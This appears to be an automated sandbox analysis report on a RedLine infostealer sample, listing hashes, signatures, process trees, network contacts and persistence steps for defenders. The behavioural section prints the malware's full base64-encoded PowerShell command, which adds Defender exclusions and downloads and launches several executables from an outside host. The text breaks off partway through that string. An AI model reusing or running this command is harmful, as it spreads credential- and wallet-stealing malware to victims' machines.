Malware Analysis Report

2025-06-16 05:17

Sample ID 230116-qq9m3sbg5z
Target 77d29818be0d01c38545baa0bd4551c6853c224b
SHA256 404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c
Tags
redline 1 evasion infostealer spyware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c

Threat Level: Known bad

The file 77d29818be0d01c38545baa0bd4551c6853c224b was found to be: Known bad.

Malicious Activity Summary

redline 1 evasion infostealer spyware

RedLine

Suspicious use of NtCreateUserProcessOtherParentProcess

RedLine payload

Modifies security service

Blocklisted process makes network request

Drops file in Drivers directory

Downloads MZ/PE file

Executes dropped EXE

Stops running service(s)

Uses the VBS compiler for execution

Loads dropped DLL

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of SetThreadContext

Drops file in System32 directory

Launches sc.exe

Drops file in Program Files directory

Drops file in Windows directory

Program crash

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies data under HKEY_USERS

Suspicious use of AdjustPrivilegeToken

Creates scheduled task(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-01-16 13:29

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-01-16 13:29

Reported

2023-01-16 14:39

Platform

win10v2004-20221111-en

Max time kernel

260s

Max time network

293s

Command Line

"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"

Signatures

Uses the VBS compiler for execution

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3444 set thread context of 3812 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe

"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3812 -ip 3812

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 3444 -ip 3444

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 144

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3444 -s 308

Network

Country Destination Domain Proto
N/A 104.80.225.205:443 tcp
N/A 87.248.202.1:80 tcp
N/A 87.248.202.1:80 tcp
N/A 93.184.220.29:80 tcp
N/A 8.248.99.254:80 tcp
N/A 8.248.99.254:80 tcp
N/A 52.242.97.97:443 tcp
N/A 8.8.8.8:53 15.89.54.20.in-addr.arpa udp
N/A 8.8.8.8:53 106.89.54.20.in-addr.arpa udp

Files

memory/2160-132-0x0000000000000000-mapping.dmp

memory/3812-133-0x0000000000000000-mapping.dmp

memory/3812-134-0x0000000000400000-0x0000000000405000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2023-01-16 13:29

Reported

2023-01-16 14:35

Platform

win7-20220901-en

Max time kernel

151s

Max time network

50s

Command Line

C:\Windows\system32\lsass.exe

Signatures

Modifies security service

evasion
Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters C:\Windows\System32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security C:\Windows\System32\reg.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Stops running service(s)

evasion

Uses the VBS compiler for execution

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
File created C:\Windows\System32\Tasks\Telemetry Logging C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Telemetry Logging C:\Windows\system32\svchost.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf C:\Windows\system32\svchost.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f027a379b729d901 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\dllhost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1696 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1696 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1696 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1696 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1696 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1696 wrote to memory of 900 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1696 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\SysWOW64\WerFault.exe
PID 1696 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\SysWOW64\WerFault.exe
PID 1696 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\SysWOW64\WerFault.exe
PID 1696 wrote to memory of 1492 N/A C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe C:\Windows\SysWOW64\WerFault.exe
PID 900 wrote to memory of 860 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 900 wrote to memory of 860 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 900 wrote to memory of 860 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 900 wrote to memory of 860 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 860 wrote to memory of 1732 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 860 wrote to memory of 1732 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 860 wrote to memory of 1732 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 860 wrote to memory of 1732 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 860 wrote to memory of 760 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 860 wrote to memory of 760 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 860 wrote to memory of 760 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 860 wrote to memory of 760 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 860 wrote to memory of 1672 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 860 wrote to memory of 1672 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 860 wrote to memory of 1672 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 860 wrote to memory of 1672 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 760 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 760 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 760 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 760 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 760 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 760 wrote to memory of 2036 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 760 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\SysWOW64\WerFault.exe
PID 760 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\SysWOW64\WerFault.exe
PID 760 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\SysWOW64\WerFault.exe
PID 760 wrote to memory of 2008 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\SysWOW64\WerFault.exe
PID 860 wrote to memory of 1600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 860 wrote to memory of 1600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 860 wrote to memory of 1600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 860 wrote to memory of 1600 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 1904 wrote to memory of 1392 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1392 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1392 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1664 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1664 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1664 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 800 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 800 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 800 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1552 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1552 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1552 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 952 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 952 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 952 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\sc.exe
PID 1904 wrote to memory of 1724 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1904 wrote to memory of 1724 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1904 wrote to memory of 1724 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1476 wrote to memory of 1668 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 1476 wrote to memory of 1668 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 1476 wrote to memory of 1668 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\schtasks.exe
PID 1904 wrote to memory of 1488 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1904 wrote to memory of 1488 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe
PID 1904 wrote to memory of 1488 N/A C:\Windows\System32\cmd.exe C:\Windows\System32\reg.exe

Processes

C:\Windows\system32\lsass.exe

C:\Windows\system32\lsass.exe

C:\Windows\system32\services.exe

C:\Windows\system32\services.exe

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\lsm.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs

C:\Windows\system32\Dwm.exe

"C:\Windows\system32\Dwm.exe"

\\?\C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T /R

C:\Windows\system32\sppsvc.exe

C:\Windows\system32\sppsvc.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\taskhost.exe

"taskhost.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork

C:\Windows\System32\spoolsv.exe

C:\Windows\System32\spoolsv.exe

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k RPCSS

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k DcomLaunch

C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe

"C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 36

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwB